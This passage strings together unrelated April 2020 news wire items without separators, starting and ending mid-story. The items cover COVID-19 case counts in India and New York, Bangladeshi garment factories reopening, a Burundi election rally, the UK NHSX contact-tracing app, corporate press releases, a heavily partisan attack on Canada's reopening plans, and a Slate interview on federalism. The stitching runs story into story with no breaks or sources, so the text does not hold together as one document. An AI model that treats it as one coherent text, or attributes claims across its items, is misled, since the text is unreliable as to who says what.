15. Fantino served as Aleafia's chairman and Souccar was a director. Fantino's involvement in the company was met with criticism because he was a longtime cannabis opponent and once compared legalizing the substance to legalizing murder in an interview with the Toronto Sun. Aleafia says Fantino and Souccar oversaw the acquisition of licensed cannabis producer Emblem Corp. and the company's Port Perry, Ont. facility. This report by The Canadian Press was first published April 28, 2020. Companies in this story: (TSX:ALEF) Himachal Pradesh has not reported any fresh COVID-19 case in the past five days, a senior health official said on Tuesday. So far, 41 coronavirus cases have been reported in the state and the number of active cases is 10, the official said. Two people have died of COVID-19. The fatalities include a 70-year-old Delhi resident who had stayed at a guest house of a factory in Solan's Baddi and died at the PGIMER, Chandigarh, on April 2. "Of the 282 samples sent for testing on Tuesday, 156 tested negative for the infection while reports of the rest are awaited," Additional Chief Secretary (Health) R D Dhiman said. These tests are being conducted at Tanda's Dr Rajendra Prasad Government Medical College (RPGMC), Palampur's Institute of Himalayan Bioresource Technology (IHBT) in Kangra, Indira Gandhi Medical College (IGMC) in Shimla and Kasauli's Central Research Institute (CRI) in Solan. Four active cases from Una, two cases each from Chamba and Hamirpur and one case each from Kangra and Sirmaur are being treated at Tanda's RPGMC, Bhota Charitable Hospital in Hamirpur and the Katha's ESIC in Baddi. Twelve patients from Una district, five from Solan, four from Chamba, three from Kangra and one from Sirmaur have recovered from the infection so far. Four patients were taken to a private hospital outside Himachal Pradesh. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Workers wear face masks as they return to work during a limited-scale reopening of hundreds of Dhakas garment factories, which were closed as part of a coronavirus shutdown, April 26, 2020. Tens of thousands of Bangladeshi employees have returned to work, officials and leaders of garment factory associations said Monday, despite concerns from labor leaders over workers safety, weeks after the government imposed a nationwide shutdown over the coronavirus pandemic. COVID-19, which has infected more than three million people worldwide, has battered Bangladeshs garments industry with Western companies canceling orders worth billions of dollars, officials with trade groups said. As per our directives, some area-based factories were supposed to reopen. The number could be around 500, Faisal Samad, vice president of the Bangladesh Garment Manufacturers and Exporters Association (BGMEA), told BenarNews, referring to the number of factories. Owners of factories claimed that they had reopened on a limited scale following government-issued health guidelines to avert risks of coronavirus transmissions. But, they said, many had to shut down after reopening when most employees did not return for work. There are no official figures on employees who began trickling back to work starting Sunday, but Mohammad Hatem, vice president of the Bangladesh Knitwear Manufacturers and Exporters Association (BKMEA), told BenarNews that around 20 to 25 percent of the 1,101 factories belonging to the group had reopened as of Monday. About 1.5 million people are employed in those factories, BKMEA said. Those who are reopening are actually not reopening with full capacity, Hatem said, because theres not much work and social distancing cant be maintained if factories are reopened with full capacity. Hatem said factories had reopened mainly to fulfill back orders. Bangladeshs garment trade, the most dynamic sector of the South Asian nations export economy, suffered huge losses with disruptions in the supply chain of fabrics imported from China, where health authorities believe the coronavirus originated in December last year. The sector generated $34.1 billion in 2019, according to the BGMEA. Since 2014, the garment sector has also registered more than 80 percent annually of the gross domestic product (GDP) for Bangladesh, the worlds second-largest apparel exporter of fashion brands after China, according to the World Bank. Official figures from BGMEA said its members had so far lost more than U.S. $3 billion in orders, while BKMEA said its factories had reported over $2 billion in cancelled contracts. Around 4,000 Bangladeshi garment factories employ about 4.1 million workers, industry officials said. On Monday, health authorities reported 497 new coronavirus infections, taking the number of confirmed cases in Bangladesh to 5,913, with seven new fatalities that brought the death toll to 152. Globally, the coronavirus has killed over 208,000 worldwide, according to data compiled by disease experts at U.S.-based Johns Hopkins University. Shivnath Roy, director-general of the Department of Inspection for Factories and Establishments, told BenarNews that more than 300 factories had opened across the nation. We will monitor whether the governments health guidelines are followed in those factories properly, he said, warning that legal action would be taken against owners of factories found to be in violation of health safety measures. About 200,000 workers were likely back at work just in the industrial area of Ashulia, near Dhaka, police spokeswoman Jane Alam told Agence France-Presse. Abdus Salam, BGMEAs first vice president, told BenarNews that up to 130 factories of the total 326 factories in the coastal city of Chattogram had reopened. We are strictly following the governments health protocols, he said. We even advised [factories] to grant leaves of absence for employees who are coming from outside the city. Those who are older than 60 are advised to take rest instead of joining work. Labor leaders had complained that reopening factories without adequate protections would place the entire country at risk, not just the garment industrys workforce. Citing health experts, Taslima Akter, a labor leader, warned that coronavirus infections could spike further in May, putting employees at risk even with factories reopening on a limited scale. In addition to that, the incidents of layoffs and job cuts are going on in phases, she told BenarNews. On Monday, meanwhile, Prime Minister Sheikh Hasina said schools would remain closed until September. Well not reopen the educational institutions until the pandemic is basically under control though we'll open other sectors gradually, Hasina said during a video-conference with administration officials from her residence in Dhaka. Around 200 healthcare personnel have been affected with coronavirus in the Delhi, said Delhi Health Minister Satyendra Jain on Tuesday. He said that it is the healthcare workers in non-COVID hospitals who are testing positive for the deadly virus. Delhi Health Minister Satyendar Jain on Tuesday said that around 200 healthcare personnel have been infected with COVID-19 in the national capital while the total number of cases has jumped to 3,108. Around 200 medical staff members of both government and private hospitals have been infected with COVID-19. Advisory has been issued. We have found that the staff at the COVID-dedicated hospitals are not testing positive. The health workers from non-COVID hospitals are testing positive, Jain told reporters here. The health minister said that 60 healthcare personnel from Babu Jagjivan Ram Memorial Hospital have been found COVID-19 positive and some of them come from Jahangirpuri, a hotspot of the deadly virus in Delhi. The total number of positive cases in Delhi stands at 3,108 now, of which 190 cases were reported yesterday. There are 2,177 active cases, 877 patients have been cured while 11 are on the ventilator. The death toll stands at 54. The doubling rate of COVID-19 in Delhi is 13 days while that of the country is 9.1 days, Jain said. He said that if there was no lockdown the numbers would have been much higher. Also Read: Coronavirus lockdown: Delhi govt. lifts restrictions from operations of veterinarians, plumbers and electricians Also Read: Coronavirus: Shiv Sena demands financial package for states to tide over COVID-19 crisis When asked about lockdown extension, Seven days are left. We will see what the situation would be in these days. The ongoing nationwide lockdown is scheduled to end on May 3. Delhi Chief Minister Arvind Kejriwal on Monday attended the meeting of Chief Ministers with Prime Minister Narendra Modi over the COVID-19 situation in the country. Also Read: Coronavirus update: India records highest single day spike in deaths as toll reaches 934 with total cases near 29,500 For all the latest National News, download NewsX App Wampsville, N.Y. A spike in positive coronavirus test results in Chittenango has been linked to an 80-bed nursing home in the village. Madison County health officials today issued a news release citing concerns over an increase in cases of COVID-19 in the village, including cases at The Grand Rehabilitation and Nursing facility. As of Tuesday afternoon, the countys COVID-19 website listed 25 positive coronavirus test results in Chittenango, up from 15 on Monday. A week ago there were only two active COVID-19 cases in the village, county spokeswoman Samantha Field said. The village has a population of about 5,000 people. The village has 18 active cases, an increase of 10 overnight. The county wont release specific numbers concerning the nursing home, but the release said some of the new cases were at the facility, 331 Russell St. Field said the release was meant to address a number of calls the department was receiving. We just want people to know we have been on top of this," she said, adding obviously theres a concern when the virus is reported in a nursing facility. The release said Madison County recognizes that residents and people with family members in the nursing facility may be concerned when they see the growing numbers over the past few days. Please know that the Madison County Health Department is working closely with the New York State Health Department, who regulates nursing homes, regarding the positive cases within the facility. We are working hard to make sure measures are in place to limit exposure for the staff and residents of the facility. There is limited risk to the surrounding community. The nursing home did not respond to inquiries from Syracuse.com | The Post-Standard. Overall, the county now has 147 positive tests for coronavirus. Five county residents have died from COVID-19. MORE ON CORONAVIRUS Coronavirus in NY: Cases, maps, charts and resources Coronavirus economy: New Yorkers going weeks with no job, no call from unemployment Cuomo: Many parts of NY will be closed past May 15, heres how others reopen Onondaga County warns of potential coronavirus exposure at Target, Walmart Complete coronavirus coverage on syracuse.com Nolan Weidner is a reporter for the Syracuse Post-Standard and Syracuse.com. Got a comment or idea for a story? He can be reached by call or text at 315.247.7419 or via email at nweidner@syracuse.com. A Jersey City man is facing an aggravated assault charge after he fired a handgun through the floor of his apartment into the apartment below, authorities said. Gerard Brooker, 47, was also charged with unlawful possession of a handgun and tampering/fabricating physical evidence after the incident that occurred inside a Wade Street building at 7:55 p.m. Friday, Jersey City spokeswoman Kimberly Wallace-Scalcione said. No injuries were reported. People paid tribute to "Utkal Gourab" Madhusudan Das, one of the architects of modern Odisha, on his 172nd birth anniversary on Tuesday, amid the nationwide lockdown imposed to check the COVID-19 outbreak. Chief Minister Naveen Patnaik, state Assembly Speaker S N Rao, members of the House, leaders of political parties and social activists paid homage to the veteran poet, freedom fighter and social reformer. Taking to Twitter, Patnaik said: "My tribute to Utkal Gourab Madhusudan Das, one of the architects of modern Odisha. His immense contribution towards protection of Odisha's pride, industries, education and literature will remembered for all the time to come." Das had made enormous contribution to formation of independent Odisha province and state's art, culture and education, senior Congress leader Kailash Acharya said. He was also the first industrialist of Odisha by setting up Utkal Tannery in 1905, a factory producing shoes and other leather products. Born in Satyabhampur village, 20 km away from Cuttack, Das was the first graduate and advocate of Odisha. He died on February 4, 1934. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) We think Azoteq is a perfect addition to our portfolio for customized multiple sensor applications and its further alignment for mega trends like Artificial Intelligence, Smart home etc.," said Dr. Christiane Endrich, CEO of Endrich. Azoteq, a pioneer in sensor fusion, is pleased to announce the signing of a new European Distribution Agreement with Endrich. Endrich has more than 40 years experience in providing quality components from reputable manufacturers and tailored solutions for applications from medium sized to big enterprises. Azoteq is excited to partner with an established specialist component distributor such as Endrich, said Jean Viljoen, Azoteqs VP of Marketing. Endrich has an excellent reach into key European markets and will ensure even better service for our EU customer base. We think Azoteq is a perfect addition to our portfolio for customized multiple sensor applications and its further alignment for mega trends like Artificial Intelligence, Smart home etc.," said Dr. Christiane Endrich, CEO of Endrich. Together with full technical support, Azoteqs combination sensors, capacitive-touch and proximity ICs, touchpad ICs and modules for use in LED lighting, IoT, and wearable, mobile and security applications will now be more readily available to European clientele to ensure faster time to market. For more information on and to order the full range of Azoteq products available through Endrich, visit: http://www.endrich.com. About Endrich Endrich is a design-oriented specialist distributor with a focus on passive components, optoelectronics, sensor technologies, electromechanics, acoustics and special semiconductor products. Thanks to tailor-made intensive technical support and sophisticated logistics Endrich stands for high-quality components and flexible customized solutions in Germany and Central Europe for more than 40 years. About Azoteq (Pty) Ltd Azoteq is a pioneer in sensor fusion. With more than a decade of capacitive-sensing experience, the sensor offering is now expanded to include multi-sensor technologies on single ICs. The first generation of ProxFusion offers capacitive, Hall-effect, IR, PIR, inductive and ambient-light sensing. Azoteq has design and manufacturing centers in South Africa and China, and sales offices and distributors in South Africa, Asia, Europe and the USA. IQ Switch, ProxSense, ProxFusion, LightSense, AirButton and DYCAL are trademarks of Azoteq (Pty) Ltd. Editorial Contact & Interviews: Jean Viljoen +27 21 863 0033 jean.viljoen@azoteq.com http://www.azoteq.com Source: Xinhua| 2020-04-28 16:55:21|Editor: huaxia Video Player Close Burundian President Pierre Nkurunziza (R, front) and Evariste Ndayishimiye (L, front), presidential candidate and secretary general of the ruling National Council for the Defense of Democracy-Forces for the Defense of Democracy (CNDDD-FDD) of Burundi, attend a campaign rally in Gitega, central Burundi, on April 27, 2020. Burundi's political parties and groups and independent candidates on Monday deployed nationwide for a three-week campaign ahead of the upcoming general elections. The African nation is set to elect new president, members of National Assembly and district councillors on May 20. (Photo by Evrard Ngendakumana/Xinhua) BUJUMBURA, April 28 (Xinhua) -- Burundi's political parties and groups and independent candidates on Monday deployed nationwide for a three-week campaign ahead of the upcoming general elections. The African nation is set to elect new president, members of National Assembly and district councillors on May 20. The campaigns started in the Monday afternoon in various areas. Major General Evariste Ndayishimiye, presidential candidate and secretary general of the ruling National Council for the Defense of Democracy-Forces for the Defense of Democracy (CNDD-FDD), started his rally in Bugendana district, province of Gitega, in central Burundi. "We call on CNDD-FDD members and Burundian people in general to vote for Major General Evariste Ndayishimiye in the presidential election. He is a trustworthy man," President Pierre Nkurunziza, who is also chairman of the CNDD-FDD elders' council, told a crowd of members from the ruling party and its friends at Bugendana. Nkurunziza, who has been in power for 15 years, is not seeking reelection. Ndayishimiye said he would boost development sectors, notably agriculture, animal husbandry, tourism and information and communication technologies if elected. "We will boost the sector of cash crops through increasing exports with new brands like mushrooms. We will also increase the production of food crops to fight hunger," said Ndayishimiye. He said factories will also be built in order to create jobs. Campaigning runs until May 17. A contact-tracing smartphone application which alerts the users of a possible coronavirus case among their recent communications will be ready for use within two to three weeks, British MPs were told on Tuesday. The voluntary app, developed by NHSX, the digital arm of the UK's state-funded National Health Service (NHS), will first be trialled in a small region and then rolled out further based on results, the House of Commons Science and Technology Committee was told. NHSX chief executive Matthew Gould also stressed that the team had built in a series of measures to reassure people about privacy fears. "We are going as fast as we can, we have teams of people looking at it 24/7, said Gould. "We are, I hope, on course to have the app ready for when it will be needed, for the moment when the country looks to have the tools to come out of lockdown safely," he said. The app will work by using a smartphone's Bluetooth technology to keep an anonymous record of other smartphone users they come into close proximity with. Gould told MPs that the UK's approach had "a measure of centralisation" as it would be the NHS which sends the alerts to the users. "We don't believe that's a privacy endangering step. But also, by doing so, it allows you to see the contact graph of how this is propagating and how the contacts are working across a number of individuals, without knowing who they are," he said. Earlier in a blog post explaining the app, Gould had noted that the app could be important in helping the country return to "normality" and beating the coronavirus as it forms part of a wider approach that will involve contact tracing and testing. The technology is based on research evidence developed by epidemiologists, mathematical modellers and ethicists at Oxford University's Nuffield Departments of Medicine and Population Health. Once the app is installed, it will start logging the distance between your phone and other phones nearby that also have the app installed using Bluetooth Low Energy. "This anonymous log of how close you are to others will be stored securely on your phone. If you become unwell with symptoms of COVID-19, you can choose to allow the app to inform the NHS which, subject to sophisticated risk analysis, will trigger an anonymous alert to those other app users with whom you came into significant contact over the previous few days," NHSX notes. The app will advise you what action to take if you have been close to someone who has become symptomatic including advising you to self-isolate if necessary. "There's an intrinsic risk in building any kind of centralised index of the movement of the entire population which might be retained in some form beyond the pandemic," professor Lilian Edwards, an expert in internet law at Newcastle University, told MPs. She said that the centralised approach raised questions about privacy. But Gould insisted that the range of protections in place will overcome these concerns. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Justin Trudeau and Canadas 13 provincial and territorial premiers agreed at an on-line first ministers meeting last Friday to draw up national guidelines to reopen the services and economic sectors that were shut down in March to stop the spread of the coronavirus. The announcement underscores that Trudeaus federal Liberal governmentin conjunction with the hard-right premiers of Ontario, Quebec, Saskatchewan, and Albertais leading a precipitous reopening of the economy that will precipitate a rapid escalation of the COVID-19 pandemic, causing tens of thousands more deaths. Infections across the country are already rising rapidly with social distancing measures in place. The total number of coronavirus cases has passed 48,500, with over 2,700 deaths. Speaking at his daily press conference Friday, Trudeau declared, In the coming months we will be able to loosen a number of the restrictions and rules that we have right now on personal mobility, in certain sectors [and] on the economy. Two days earlier, he added that his government recognizes that different provinces will make different decisions about how and where to start restarting and opening their economies. In other words, the Trudeau government is giving a blank cheque to Quebecs Francois Legault, Ontarios Doug Ford, Albertas Jason Kenney, and Saskatchewans Scott Moe, who are pushing to reopen their economies with criminal disregard for the lives of working people and their families. Saskatchewan, New Brunswick, and Prince Edward Island have already presented plans to roll back social distancing measures and allow businesses to reopen. This was certainly the message received by Legault, who felt emboldened last Thursday to bluster about his governments adoption of a herd immunity policy, which would result in skyrocketing deaths. It may sound frightening, but when Quebecers understand the concept of herd immunity, they will see it is the best way out of the current pandemic, remarked Legault. The concept of natural immunization does not mean we are going to use children as guinea pigs. What we are saying is people who are less at risk, people who are under 60, can get a natural immunization and impede the wave. Making good on his statements, Legault presented a plan yesterday to reopen schools and childcare facilities across the province, starting on May 11. This plan, which is overwhelmingly motivated by a desire to facilitate the sending of parents back to unsafe workplaces, threatens the lives of students, teachers, support staff, and their families. Quebec has recorded just under 25,000 COVID-19 cases. Deaths have surpassed 1,590. In neighbouring Ontario, right-wing populist Premier Ford ensured that most of the manufacturing sector could remain open throughout the lockdown by declaring it an essential service. This resulted in the absurd situation of even luxury items, such as hot tubs, being produced amid a rampaging pandemic. The provinces major auto plants, which collectively employ tens of thousands of workers, are set to begin reopening next week. Meanwhile, the pandemic continues to spread largely unchecked. On Sunday, infections in the province surged past 14,400. With 24 new deaths, the number of fatalities rose to 835. The failure to get the virus under control compelled Education Minister Stephen Lecce to announce later in the day that the provinces public school system will remain closed until at least May 31. Both Ontario and Quebec have also been forced to call on the support of almost 1,500 Canadian Armed Forces personnel to help with the catastrophic conditions in longterm care facilities. But Ford and his right-wing henchmen are not about to allow a raging pandemic to get in the way of corporate profits. On Friday Ford stated that he will present a plan this week for reopening Ontarios economy. Underscoring that his chief concern will be boosting corporate profits, he added, Businesses across Ontario are paying a heavy, heavy price to put their people and their communities first. His cynical attempt to pose as a defender of small businesses struggling due to the shutdown is a fraud. The reality is that working people and small business owners are struggling to make ends meet not due to the lockdown, but because the ruling elite has pursued an economic policy aimed at bailing out the banks and superrich, placing everyone else on rations. The federal government, with the support of all the opposition parties including the NDP, has funnelled at least $650 billion into the coffers of the banks and financial markets, while only a tiny fraction of that sum has been set aside for financial relief for workers and their families. The governments headline bailout measure, the Canada Emergency Response Benefit, is already close to running out of funds less than two months into its existence as applications surpass seven million. The policies pursued by the provincial governments have the same essential content. Jason Kenneys United Conservative government in Alberta has provided billions in support to the provinces big oil and energy companies, while small businesses and workers struggle to survive. In remarks to a Facebook Live broadcast last Thursday, Kenney, who has imposed billions of dollars in austerity measures to fund a four percentage-point corporate tax cut, cynically declared, [T]here is not enough fiscal power in the government in Alberta to insulate everyone from the economic adversity we are going through. The determination by Trudeau, Legault, Ford, and company to push ahead with reopening the economy has nothing to do with medical or scientific advice. In fact, virtually all experts agree that easing social distancing and allowing businesses to reopen will trigger an upsurge in infections, which Canadas already overstretched health care system will struggle to deal with. Instead, the push is motivated by a desire to allow the corporate elite to intensify the exploitation of the working class so as to place the burden of the multibillion dollar bailout of the banks and big business squarely on their backs. The criminally irresponsible character of the back-to-work drive was underscored Saturday, when even the federal governments top doctor, chief medical officer Theresa Tam, felt compelled to issue a warning about easing lockdowns. The idea of generating natural immunity is actually not something that should be undertaken. Referring to Legaults contention that low-risk population groups could be allowed to get infected so herd immunity is reached, Tam added, Even a young person might get severely sick or get into the ICU, so its not a concept that should be supported. Tams remarks reflect mounting tensions between medical professionals and the rapacious demands of Canadian big business. Like their counterparts in every country, Canadas political and financial elites are prioritizing corporate profits and the wealth of the superrich over human life. Dr. Isaac Bogoch, an infectious disease physician at Toronto General Hospital, spoke out over the weekend against the claim that people who have recovered from COVID-19 could be issued with immunity passports. This suggestion is frequently cited by proponents of reopening social and economic life as part of a herd immunity strategy. With the data that we have today, its just not responsible to think that if you have an antibody test, that means youre immune and you can safely reintegrate at a place of work or in a place where people congregate together, commented Bogoch. The World Health Organization (WHO), has repeatedly warned that evidence is lacking as to whether people have immunity after recovering from a COVID-19 infection, or how long that immunity may last. Workplaces that have remained open have become distribution centres for the virus, as shown by mass outbreaks among workers at longterm care facilities, meatpacking and poultry plants in Alberta and British Columbia, and oil work camps in Alberta. Nonetheless, the trade unions, led by Unifor in the auto industry, are working hand in glove to help the major corporations get workers back on the job as soon as possible. This author also recommends: Canadian government sends military into care homes as it pushes for a premature return to wor [25 April 2020] Canadas coronavirus wage-subsidy tailored to propping up business, not protecting workers incomes [14 April 2020] Canadas health minister promotes herd immunity, after admitting governments coronavirus failure [8 April 2020] Topia, a San Francisco, CA-based Global Talent Mobility company, closed $15m in Series D funding. Backers included NewView Capital, Notion Capital and Workday Ventures. The company, which has raised more than $100m since its inception, intends to use the funds to invest in driving innovation and broader go-to-market activities. Led by Shawn Farshchi, CEO, Topia provides a cloud-based Global Talent Mobility platform that enables businesses to effectively deploy, manage, and engage employees around the world. The platform provides an integrated data standard across global talent mobility and connects with existing HR tech stacks and vendors. Topia automates the entire global talent mobility process, from scenario-based planning, compliance risk management, expat payroll, reporting, and more. The current product suite includes Topia Plan, Topia Manage, Topia Pay, and Topia Go. The company powers global talent mobility programs for many of the worlds most trusted brands, including Schneider Electric, Dell, Veolia, Equinor, and AXA. FinSMEs 28/04/2020 [April 28, 2020] Caribbean Produce Exchange Sends Container Filled With Hope, Solidarity and Fresh Produce From Puerto Rico to NY Caribbean Produce Exchange, Inc. (CPE), the leading Puerto Rico premiere distributor of fresh produce and consumer products, joined forces with a group of local farmers to export a container filled with fresh fruits, plantains and other "Son de Aqui" local products with the goal of bringing hope and solidarity to the Puerto Rican and Hispanic communities of South Bronx affected by the COVID-19 pandemic. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005888/en/ Papaya farm in Santa Isabel, Puerto Rico (Photo: Business Wire) As part of CPE's social commitment and mission to nurture families with high quality foods, 16,000 pounds of local fresh fruit and produce, including pineapples from Manati, Santa Isabel papayas, and Guanica green plantains, arrived yesterday afternoon from Puerto Rico to Baldor Specialty Foods' facility in the South Bronx. This pledge will be distributed to senior citizens, low-income families and community centers that serve vulnerable populations in the city, according to the company through a partnership with City Harvest. In addition, employees who work as first-line responders for Baldor, as well as other first-responders will also be receiving fresh produce as part of this donation. "Given the spread COVID-19 has had in New York City and its health and socio-economic impact on low-income families, we wanted to extend our support and solidarity by integrating Puerto Rican tropical fruits, with all its flavors and freshness as part of our social commitment efforts. This initiative has been possible thanks to several companies that immediately agreed to be a part of the mission and share hope with our brothers in New York who are facing the ravages of this pandemic as well as support from the New York State Office of Trade and Tourism in Puerto Rico," said Angel Santiago, president and CEO of CPE. The container, provided and shipped from San Juan, Puerto Rico by Crowley Logistics, which is the island's longest serving US shipping and logistics solutions company as part of Crowley Maritime, Corp., also included a variety of Wana (News - Alert) Bana tropical fruit purees ideal for children, senior citizens and people with diabetic conditions, as these products are 100% natural, pasteurized and sugar free, allowing for non-refrigerated storage. The container arrived on the container ship MV Taino in Jacksonville, Florida this week and was immediately trucked into New York City. "Crowley has always strived to help people in the communities in which we live, work and serve, and this partnership continues the longstanding commitment by the company and our employees," said Sal Menoyo, Crowley Logistics Vice President for Puerto Rico and the Caribbean. "We know we all need to work together to help each other in response to COVID-19, so it was our pleasure to transport the donated fruits and produce from CPE to Baldor Foods on our LNG-powered ship, MV Taino from Puerto Rico to the U.S. mainland," he added. Baldor Specialty Foods, headquartered in the South Bronx, is one of the largest importes and distributors of fresh produce and specialty foods in the Northeast. Baldor Cares, the company's social responsibility platform, works with a wide array of non-profit entities such as "City Harvest" in New York, to provide food for hundreds of thousands of citizens in need throughout the Tri-State area annually. "We are grateful at Baldor Specialty Foods for the kind gesture of Caribbean Produce to send to us a shipment of delicious fruit from Puerto Rico," said Thomas McQuillan, Vice President, Strategy, Culture and Sustainability. "We will share this produce with our colleagues at Baldor and with people living in the South Bronx. So many of our neighbors hail from the beautiful island of Puerto Rico. It is heartwarming to know that people can be so generous during a time of crisis and uncertainty." During natural disasters in Puerto Rico, CPE has always been very active offering its help and solidarity to families and communities in need. In 2017, CPE joined forces with the American Red Cross to distribute millions of pounds of food to more than 100,000 hurricane-affected families on the Island. Since the beginning of 2020, the company has been supporting families impacted by earthquakes and tremors in the South and Southwest region of Puerto Rico, distributing food supplies, providing volunteer labor, mental and physical health support professionals, as well as other resources to alleviate families impacted by this emergency. As a result of the COVID-19 crisis, CPE has been helping farmers sell their products including fruits, vegetables, dairy products and protein throughout non-traditional channels and other platforms, as a consequence of the quarantine lockdown and curfew ordered by the local government. The lockdown closed schools and cafeterias as well as restaurants and hundreds of food service locations that have been forced to close temporarily also. All of this has impacted the harvests and sales of fresh produce on the Island. According to Santiago, this support program to farmers has yielded in opening doors and providing effective solutions for fresh produce placement in new trade channels. "We want to thank our allies in this initiative for helping us bring the flavors, colors and freshness of our farms to the Bronx area at a time when these communities are experiencing an unprecedented crisis. Given the challenges we are facing with the Coronavirus, keeping our citizens properly nourished can help strengthen their immune systems and this is a top priority. Thanks to this phenomenal synergy along with Baldor Foods, Crowley Maritime, and the New York State Office of Trade and Tourism in Puerto Rico we have been able to bring hope, strength and embrace our Puerto Rican brothers in New York with genuine solidarity," concluded Santiago. About Caribbean Produce Exchange: Caribbean Produce Exchange (CPE) is the largest produce distributor in Puerto Rico with 60 years of experience in managing food safety for a wide array of produce, eggs and highly perishable products. CPE is the only Puerto Rican company recognized as a Blue Book Trading Member since 1984, a consecutive 36-year tenure, and the only company outside of US and Canada to hold such a longstanding record. It is the first company in the Caribbean region to ever receive USDA's Agricultural Best Practices Certification. Its world-class portfolio includes leading brands of fruits, vegetables, cereals, organic, dairy and frozen items as well as other high-quality consumer products. CPE's services also include fresh produce supply chain management, pre-cut fresh food processing, packaging and distribution of local produce, logistics, marketing and planning services. For more information on Caribbean Produce Exchange, please visit: www.caribbeanproduce.com or https://www.facebook.com/caribbeanproducepr/ About Crowley: Jacksonville-based Crowley Holdings Inc., a holding company of the 128-year old Crowley Maritime Corporation, is a privately held family-and-employee-owned company that provides marine solutions, energy and logistics services in domestic and international markets. Crowley operates under four business units: Crowley Logistics, a logistics supply chain division that includes ocean liner services; Crowley Shipping, which encompasses ownership, operations and management of conventional and dual fuel (LNG) vessels, including tankers, container ships, multipurpose, tugboats and barges; engineering; project management; and naval architecture through its subsidiary Jensen Maritime; Crowley Fuels, a fuel transportation, distribution and sales division that also provides liquefied natural gas (LNG) and related services; and Crowley Solutions, which focuses on global government services and program management; government ship management, expeditionary logistics and government -oriented freight transportation services. Additional information about Crowley, its subsidiaries and business units may be found at www.crowley.com. About Baldor Specialty Foods: Baldor Specialty Foods is one of the largest importers and distributors of fresh produce and specialty foods in Northeast and Mid-Atlantic regions. Beginning as Balducci's fruit stand in Greenwich Village in 1946, Baldor maintains its original promise - curate and deliver the best and freshest foods in the world. Baldor seeks to provide great specialty foods and logistics that give their customers an edge. To learn more, go to http://www.baldorfood.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005888/en/ [ Back To TMCnet.com's Homepage ] Pune: In a move to combat the spread of coronavirus in Pune, the administration is preparing to shift 20 thousand people from coronavirus affected area to safer zones. The plan is divided into several phases, in which the first phase will include 20,000 people and after the number of people will go on increasing. can be shifted. The people are likely to be shifted in schools, vacant houses in the municipality, godowns. The arrangements for their living will be made by the police. The administration has divided Pune city is divided into two parts - Pune city and Pune district. According to the data till Tuesday (April 28, 2020) morning, the Pune city has 1217 patients and the entire district includes 1348 COVID-19 patients. The death toll in Pune has gone up to 75. There are five major hotspots in Pune which are - Bhavni Peth, Kasba Peth, Dhole Patil Road, Yerwada, Ghole Road. There are 70000 thousand slums in these areas, which has a population of around 3.5 lakh people. The major reason behind the shifting plan is that the house in these areas is small and up to 6-8 people live in these houses which violated the social distancing norms. Even after several efforts made by the police most of the people are not following lockdown rules. Therefore, the administration is preparing to shift these people to another place for some time. Meanwhile, the number of cases in Maharashtra went up to 8590 and 369 deaths. SURAT: A group of migrant workers stranded in Gujarats Surat on Tuesday attacked and pelted stones on policeman during which one cop was injured. According to Zee Media sources, these labourers allegedly threw stones at the security personnel who were trying to enforce lockdown in an area of Gujarat's Surat city on Tuesday morning, an official said. Five of them have been detained for the attack on the policemen, Surat's Deputy Commissioner of Police R P Barot said. Some labourers got angry after a PCR (police control room) van reached a locality in Dindoli area to enforce the lockdown in the wake of the coronavirus outbreak, he said. "We a sent a PCR van in the area after coming to know that people were roaming around and not adhering to the lockdown norms. When the police asked locals to stay indoors, some of them got angry and started throwing stones at the policemen," Barot said. A policeman received injuries in the incident, he said. Five men were detained, he said, adding that additional force was sent to the area and the situation was brought under control. These labourers damaged property worth several lakhs. They have been pressing the authorities to allow them to go back to their respective states. Slate is making its essential coronavirus coverage free for all readers. Subscribe to support our journalism. On this weeks episode of Amicus, Dahlia Lithwick spoke with Colorado Attorney General Phil Weiser about how states rights are coming into play during the coronavirus pandemic. A portion of their conversation, which has been edited and condensed for clarity, has been transcribed below. Dahlia Lithwick: Lets start with the basics. You are on the front lines trying to be the attorney general in the midst of a developing crisis/conversation about states rights and governors responsibilities and the line between states and the federal government. Has this changed your job, or has it always been some version of this? Advertisement Phil Weiser: Were in a different world with Donald Trump as president. States are more important than ever. I stepped up to serve knowing that federalism was front and center. Now in COVID, we are seeing this on steroids because the federal governments lack of leadership here is such a point of pain. States are bidding against each other for PPE and ventilators because we dont have national leadership. One of the things the national government can do is coordinate among states, and that isnt happening, leaving states to fend for ourselves. Advertisement Advertisement Advertisement Another issue thats coming down the pike is consumers who are distressed in the economic fallout thats coming in the wake of the public health crisis. Here, too, we have to both pick up the slack that the feds might not be doing and, in some cases, sue the feds for their failure to do their job. Advertisement Advertisement Can you give us your CliffsNotes on the 10th Amendment, on federalism, and how you would help delineate the line between state and federal prerogatives in a pandemic? States have an independent, sovereign role to the people of their state. This is why Bill Barr cant order any state governor to decide when to end a public health emergency. The states have that authority. Its the police power of the state. Whatever the states going to do, the state governor and the state legislature need to be accountable for it. The states have been fending for themselves. Phil Weiser The feds can provide support and say, Here, well give you money for a ventilator and you cant use that money to buy guns for your police forces, but the federal government cant say, Oh, we have this program that we used to give you money for your police forces, and if you dont want to open up tomorrow, were taking away all this money. Thats coercion, and that goes against the whole concept of federalism, which leaves the states with an independent sphere to operate. Advertisement Advertisement In a perfect world, youre right, states have vast constitutional authority to regulate health and welfare in the state, but we also do have a long, long history of the national government involving itself in health policy, right? If we had a functioning Congress that wanted to be responsible in this pandemic, there are a lot of things that Congress could be doing. Its not the case that this is solely the authority of the states, right? Advertisement Advertisement Thats right. The federal government, in a perfect world, would have been ramping up and building up testing capacity in January, February, knowing this was coming, and would have said to every state, We have all this testing capacity. We are going to provide it to you. That would be an extraordinarily valuable role the federal government could play. It hasnt played that here. The states have been fending for themselves on testing, among other areas. Advertisement Advertisement Why havent we seen a massive authoritarian power grab from this administration? It has to be the case that federalism in this moment is one of the biggest checks against a really authoritarian power grab. You have put your finger on it, and this is something that the founders appreciated. They were terrified of concentrated power. They studied King George and wanted to ask the question, How can we create a government that diffuses power and protects liberty? States having the independent authority that we have is absolutely a protection of liberty. Its a protection also of sound governance. Advertisement Advertisement If we did only have a national government right now, this pandemic would be much worse because the states have been the ones in the lead, which is why people are talking about governors, whether its Mike DeWine in Ohio, Andrew Cuomo in New York, or others. That has filled a vacuum. The federal government leadership is most effective when it can be out ahead of issues and it can be led by 